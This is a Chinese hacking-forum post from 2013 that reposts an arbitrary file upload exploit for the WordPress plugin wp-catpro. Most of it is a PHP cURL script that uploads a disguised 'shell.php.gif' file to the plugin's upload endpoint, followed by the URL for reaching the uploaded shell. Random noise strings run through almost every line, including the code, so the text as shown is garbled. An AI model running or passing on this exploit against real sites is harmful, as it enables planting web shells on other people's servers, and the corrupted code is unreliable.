找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2075|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability. }/ _, G# i5 U8 [- q& k. f
#-----------------------------------------------------------------------
7 g! U5 G; B  b  X, `+ m
- H: U: t9 T% V; X" J作者  => Zikou-16
- A; l# V) J# ?( y& A+ b邮箱 => zikou16x@gmail.com1 W0 }/ t" R& P+ \/ y
测试系统 : Windows 7 , Backtrack 5r3
9 r0 J5 H& x, ^( O' o6 M下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
3 t- t# r( Q9 U4 _6 C####
! m, {! P9 ~% a+ H* }; V' ^- M2 h
! `& S% z3 F' ^2 |' }2 J. N" q  B#=> Exploit 信息:
4 g- E* k7 f+ M# E------------------1 N* h* w2 z, ]. ]( M8 P
# 攻击者可以上传 file/shell.php.gif, u  r" j+ [2 l- E  B+ T1 l
# ("jpg", "gif", "png")  // Allowed file extensions
# B3 A/ @9 s) u/ Z8 A# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
( {6 \3 q9 M5 l- u# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
/ s! K& Y. _0 I" p2 u; [+ _  l------------------
5 H3 N5 f0 M2 p/ b! ? " w6 Y8 h+ j% a" g& O
#=> Exploit
$ J, @9 e( S* s- [! T-----------' {$ \9 `8 a: p, p: e* L
<?php( S5 n- R" P4 V5 ?4 R+ p  ~- O

% g) [- W2 l; L7 `8 d$uploadfile="zik.php.gif";
$ f/ B7 ]  d# |4 ]& s$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
0 Z% X5 [' [0 ycurl_setopt($ch, CURLOPT_POST, true);8 G$ b; e) w) o) e! S8 r% A+ T. p
curl_setopt($ch, CURLOPT_POSTFIELDS,
. @" ?: h+ e& ?array('Filedata'=>"@$uploadfile",
; g8 D/ {! s$ v, u6 u'folder'=>'/wp-content/uploads/catpro/'));1 }4 D2 H7 T; @: w! w
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);/ f7 w  f/ w# G+ o9 d
$postResult = curl_exec($ch);" j" S% y# R; l* b  B8 C7 Z" _
curl_close($ch);
5 u& b* X; Q  R7 ] # ^, R/ _4 d3 _4 d! n
print "$postResult";
9 ]$ H$ h. t6 ~
: H, Y' o) F& Y1 {4 ], B4 CShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
# W" t2 _2 d$ a+ B# W' t8 q  ?>* e3 U' Z0 q5 k: C4 B
<?php
7 \  f& f1 A9 O# }2 D5 W; [phpinfo();0 d4 f0 b! z  b& `
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表